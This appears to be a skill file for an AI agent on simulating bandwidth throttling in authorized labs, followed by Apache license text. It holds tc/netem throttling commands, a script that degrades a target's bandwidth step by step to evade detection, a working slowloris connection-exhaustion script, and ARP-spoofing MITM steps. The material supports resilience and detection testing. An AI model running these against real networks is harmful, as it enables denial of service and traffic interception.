--- name: performing-bandwidth-throttling-attack-simulation-3bd600823717 description: 'Simulate bandwidth throttling and network degradation attacks using tc, iperf3, and Scapy in authorized lab environments to test QoS controls, application resilience, and monitoring detection of traffic manipulation. Use when validating how VoIP, video, or other real-time applications and network monitoring tools respond to degraded bandwidth or slowloris-style throttling attacks. ' domain: cybersecurity subdomain: network-security tags: - network-security - bandwidth-throttling - qos - traffic-shaping - network-resilience version: '1.0' author: mahipal license: Apache-2.0 nist_csf: - PR.IR-01 - DE.CM-01 - ID.AM-03 - PR.DS-02 mitre_attack: - T1046 - T1040 - T1557 - T1071 --- # Performing Bandwidth Throttling Attack Simulation ## When to Use - Testing application resilience to degraded network conditions during authorized security assessments - Validating QoS policies detect and mitigate unauthorized traffic shaping on the network - Simulating network slowloris-style attacks that degrade bandwidth rather than causing complete outages - Assessing the impact of bandwidth-based attacks on VoIP, video conferencing, and real-time applications - Testing network monitoring tools' ability to detect abnormal bandwidth utilization patterns **Do not use** on production networks without authorization and a maintenance window, for causing denial-of-service conditions, or against critical infrastructure without safety controls. ## Prerequisites - Written authorization for bandwidth manipulation testing - Linux system with tc (traffic control), netem, and iptables - iperf3 installed on both tester and target systems for bandwidth measurement - MITM position established (ARP spoofing) for traffic interception scenarios - Network monitoring tools deployed for detecting the simulation - Baseline bandwidth measurements before testing > **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. ## Workflow ### Step 1: Establish Baseline Bandwidth Measurements ```bash # Start iperf3 server on the target iperf3 -s -p 5201 # Measure baseline bandwidth from the tester iperf3 -c 10.10.20.10 -t 30 -P 4 -p 5201 # Record: bandwidth, jitter, packet loss # Measure baseline latency ping -c 100 10.10.20.10 | tail -1 # Record: min/avg/max/mdev # Measure baseline jitter with UDP test iperf3 -c 10.10.20.10 -u -b 100M -t 10 -p 5201 # Record: jitter and packet loss percentage # Document baseline values echo "Baseline: BW=$(iperf3 -c 10.10.20.10 -t 10 -f m | tail -1 | awk '{print $7}') Mbps" > baseline.txt echo "Latency: $(ping -c 50 10.10.20.10 | tail -1)" >> baseline.txt ``` ### Step 2: Simulate Bandwidth Throttling with tc/netem ```bash # Add traffic control to limit bandwidth on the attacker's forwarding interface # This simulates throttling traffic flowing through a compromised router # Limit to 1 Mbps (severe throttling) sudo tc qdisc add dev eth0 root tbf rate 1mbit burst 32kbit latency 50ms # Or use hierarchical token bucket for more control sudo tc qdisc add dev eth0 root handle 1: htb default 10 sudo tc class add dev eth0 parent 1: classid 1:10 htb rate 1mbit ceil 2mbit # Add latency and packet loss to simulate degraded link sudo tc qdisc add dev eth0 parent 1:10 handle 10: netem delay 200ms 50ms loss 5% # Target specific traffic (only throttle traffic to specific host) sudo tc qdisc add dev eth0 root handle 1: htb default 99 sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 1000mbit sudo tc class add dev eth0 parent 1:1 classid 1:10 htb rate 1mbit ceil 2mbit sudo tc class add dev eth0 parent 1:1 classid 1:99 htb rate 1000mbit # Filter: throttle only traffic to 10.10.20.10 sudo tc filter add dev eth0 parent 1: protocol ip prio 1 u32 \ match ip dst 10.10.20.10/32 flowid 1:10 # Verify the qdisc configuration tc -s qdisc show dev eth0 tc -s class show dev eth0 ``` ### Step 3: Simulate Progressive Degradation ```bash #!/bin/bash # Simulate progressive bandwidth degradation over time # This mimics an attacker slowly throttling to avoid detection IFACE="eth0" TARGET="10.10.20.10" # Phase 1: Baseline (no throttling) - 5 minutes echo "[*] Phase 1: Baseline (no throttling)" sleep 300 # Phase 2: Mild throttling (50% reduction) echo "[*] Phase 2: Reducing to 50 Mbps" sudo tc qdisc add dev $IFACE root tbf rate 50mbit burst 64kbit latency 50ms sleep 300 # Phase 3: Moderate throttling (80% reduction) echo "[*] Phase 3: Reducing to 10 Mbps" sudo tc qdisc change dev $IFACE root tbf rate 10mbit burst 32kbit latency 50ms sleep 300 # Phase 4: Severe throttling + latency + loss echo "[*] Phase 4: Reducing to 1 Mbps + 200ms latency + 5% loss" sudo tc qdisc del dev $IFACE root 2>/dev/null sudo tc qdisc add dev $IFACE root handle 1: htb default 10 sudo tc class add dev $IFACE parent 1: classid 1:10 htb rate 1mbit ceil 2mbit sudo tc qdisc add dev $IFACE parent 1:10 handle 10: netem delay 200ms 50ms loss 5% sleep 300 # Phase 5: Recovery echo "[*] Phase 5: Removing all throttling" sudo tc qdisc del dev $IFACE root 2>/dev/null echo "[*] Simulation complete" ``` ### Step 4: Simulate Slowloris-Style Connection Exhaustion ```python #!/usr/bin/env python3 """Slowloris-style connection simulation for authorized bandwidth testing.""" import socket import time import threading TARGET = "10.10.20.10" PORT = 80 NUM_CONNECTIONS = 200 sockets = [] def create_slow_connection(): """Create a connection that sends data very slowly.""" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(4) s.connect((TARGET, PORT)) s.send(b"GET / HTTP/1.1\r\n") s.send(f"Host: {TARGET}\r\n".encode()) sockets.append(s) return s except Exception: return None def keep_alive(): """Send partial headers to keep connections open.""" while True: for s in list(sockets): try: s.send(b"X-Padding: " + b"A" * 10 + b"\r\n") except Exception: sockets.remove(s) time.sleep(15) print(f"[*] Opening {NUM_CONNECTIONS} slow connections to {TARGET}:{PORT}") for i in range(NUM_CONNECTIONS): s = create_slow_connection() if s: if (i + 1) % 50 == 0: print(f"[*] {i + 1} connections established") time.sleep(0.1) print(f"[*] {len(sockets)} connections open. Sending keep-alive headers...") print("[*] Press Ctrl+C to stop") try: keep_alive() except KeyboardInterrupt: print(f"\n[*] Closing {len(sockets)} connections") for s in sockets: try: s.close() except Exception: pass print("[*] Cleanup complete") ``` ### Step 5: Measure Impact and Detect Anomalies ```bash # Re-measure bandwidth during throttling iperf3 -c 10.10.20.10 -t 10 -f m -p 5201 # Compare with baseline values # Measure latency degradation ping -c 50 10.10.20.10 # Check network monitoring for detection # Verify that monitoring tools detected the bandwidth change # Check SNMP-based monitoring (Cacti, LibreNMS, Zabbix) # Interface utilization should show abnormal patterns # Check Zeek logs for connection anomalies cat /opt/zeek/logs/current/conn.log | \ zeek-cut ts id.orig_h id.resp_h duration orig_bytes resp_bytes | \ awk '$4 > 0 && ($5/$4 < 1000 || $6/$4 < 1000)' | head -20 # Low bytes/second ratio indicates throttling # Check for QoS alerts in network management tools # NetFlow analysis: look for changes in traffic patterns # nfdump -r /var/cache/nfdump/nfcapd.* -s srcip/bytes -n 20 ``` ### Step 6: Clean Up and Document ```bash # Remove all traffic control rules sudo tc qdisc del dev eth0 root 2>/dev/null # Verify cleanup tc qdisc show dev eth0 # Should show: qdisc noqueue or default qdisc only # Stop ARP spoofing if used sudo killall arpspoof bettercap 2>/dev/null sudo sysctl -w net.ipv4.ip_forward=0 # Final bandwidth measurement to confirm restoration iperf3 -c 10.10.20.10 -t 10 -f m -p 5201 ``` ## Key Concepts | Term | Definition | |------|------------| | **Traffic Shaping** | Deliberate manipulation of network traffic flow rates using queuing disciplines to control bandwidth allocation | | **tc (Traffic Control)** | Linux kernel subsystem for configuring packet scheduling, shaping, policing, and dropping using queuing disciplines (qdiscs) | | **netem (Network Emulator)** | Linux tc qdisc that simulates network conditions including delay, jitter, packet loss, corruption, and reordering | | **Token Bucket Filter (TBF)** | tc qdisc that limits traffic rate by allowing packets through only when tokens are available, enforcing a maximum bandwidth rate | | **Slowloris** | Application-layer attack that exhausts server connection pools by opening many connections and sending data very slowly | | **QoS (Quality of Service)** | Network mechanisms for prioritizing specific traffic types (VoIP, video) and ensuring minimum bandwidth guarantees | ## Tools & Systems - **tc/netem**: Linux kernel traffic control and network emulation framework for simulating bandwidth limitations and network degradation - **iperf3**: Network bandwidth measurement tool for establishing baselines and measuring the impact of throttling - **Bettercap**: Network attack framework used for establishing MITM position to intercept and throttle traffic - **Scapy**: Python packet manipulation for crafting custom traffic patterns and connection exhaustion simulations - **NetFlow/sFlow**: Network flow monitoring protocols for detecting abnormal bandwidth utilization patterns ## Common Scenarios ### Scenario: Testing VoIP System Resilience to Bandwidth Degradation **Context**: A company relies on SIP-based VoIP for business communications. The security team needs to assess how VoIP quality degrades under various network attack conditions and at what point calls become unusable. The testing is authorized on a dedicated VoIP test VLAN. **Approach**: 1. Establish baseline call quality using iperf3 UDP tests measuring jitter (<30ms) and packet loss (<1%) on the VoIP VLAN 2. Set up MITM position between VoIP endpoints using ARP spoofing 3. Progressively introduce latency (50ms, 100ms, 200ms, 500ms) using netem and measure MOS (Mean Opinion Score) at each level 4. Introduce packet loss (1%, 3%, 5%, 10%) and measure call quality degradation 5. Throttle bandwidth from 1 Mbps to 100 Kbps to determine the minimum usable bandwidth for G.711 codec (requires 87.2 Kbps) 6. Verify that QoS policies on the network prioritize VoIP traffic and restore quality when throttling affects the shared link 7. Document the degradation thresholds and recommend minimum QoS guarantees for the VoIP VLAN **Pitfalls**: - Forgetting to remove tc rules after testing, leaving bandwidth limitations in place on the test network - Testing at rates too low, causing complete call failure instead of measurable degradation - Not accounting for VoIP codec differences -- G.711 requires more bandwidth than G.729 - Running the test on a shared VLAN and affecting non-test traffic ## Output Format ``` ## Bandwidth Throttling Simulation Report **Test ID**: BW-THROTTLE-2024-001 **Target Network**: VLAN 60 (VoIP Test) **Test Duration**: 2024-03-15 14:00-16:00 UTC ### Baseline Measurements | Metric | Value | |--------|-------| | Bandwidth (TCP) | 947 Mbps | | Bandwidth (UDP) | 912 Mbps | | Latency (avg) | 0.8 ms | | Jitter | 0.2 ms | | Packet Loss | 0.00% | ### Degradation Impact Matrix | Condition | Bandwidth | Latency | Jitter | Loss | VoIP MOS | |-----------|-----------|---------|--------|------|----------| | Baseline | 947 Mbps | 0.8 ms | 0.2 ms | 0% | 4.4 | | 50ms latency | 947 Mbps | 51 ms | 5 ms | 0% | 4.0 | | 200ms latency | 947 Mbps | 201 ms | 25 ms | 0% | 3.2 | | 5% loss | 947 Mbps | 0.8 ms | 0.2 ms | 5% | 2.8 | | 1 Mbps cap | 1 Mbps | 45 ms | 12 ms | 2% | 3.0 | | 100 Kbps cap | 100 Kbps | 380 ms | 95 ms | 15% | 1.2 | ### QoS Validation - QoS detected throttling at 10 Mbps threshold: YES - VoIP traffic prioritized during throttling: YES (maintained 3.8 MOS) - Alert generated by monitoring: YES (bandwidth anomaly at 14:15 UTC) ### Recommendations 1. Ensure minimum 200 Kbps guaranteed bandwidth per VoIP call 2. Configure QoS to prioritize DSCP EF (46) marked traffic 3. Set monitoring threshold at 80% bandwidth utilization for early warning ``` --- Source attribution: costrict-plugins-repo Original project: https://github.com/costrict-plugins-repo/mukul975-anthropic-cybersecurity-skills-cybersecurity-skills/blob/1b344d155f00bae5cf27d8eba9508e8f5050d904/skills/performing-bandwidth-throttling-attack-simulation/SKILL.md License: Apache-2.0 License information: https://www.apache.org/licenses/LICENSE-2.0 Original upstream instructions; downloaded from Mega AI Hub. ## Upstream license notice Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to the Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by the Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding any notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. Please do not remove or change the license header comment from a contributed file except when necessary. Copyright 2026 mukul975 Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. # Mega AI Hub resource metadata Creator / publisher: costrict-plugins-repo Original project: https://github.com/costrict-plugins-repo/mukul975-anthropic-cybersecurity-skills-cybersecurity-skills/blob/1b344d155f00bae5cf27d8eba9508e8f5050d904/skills/performing-bandwidth-throttling-attack-simulation/SKILL.md Attribution basis: Source repository record Fields of work: Development & Engineering Roles: Security Engineer Specialties: Specialty not specified Tools: Iperf3, Scapy, Tc Country applicability: Country not specified Classification basis: Source catalog labels Instruction SHA-256: 5ab4a45f49a9d44c8b36e6e90d08a43021b9c1fe8f39df860f6018b12cd7f132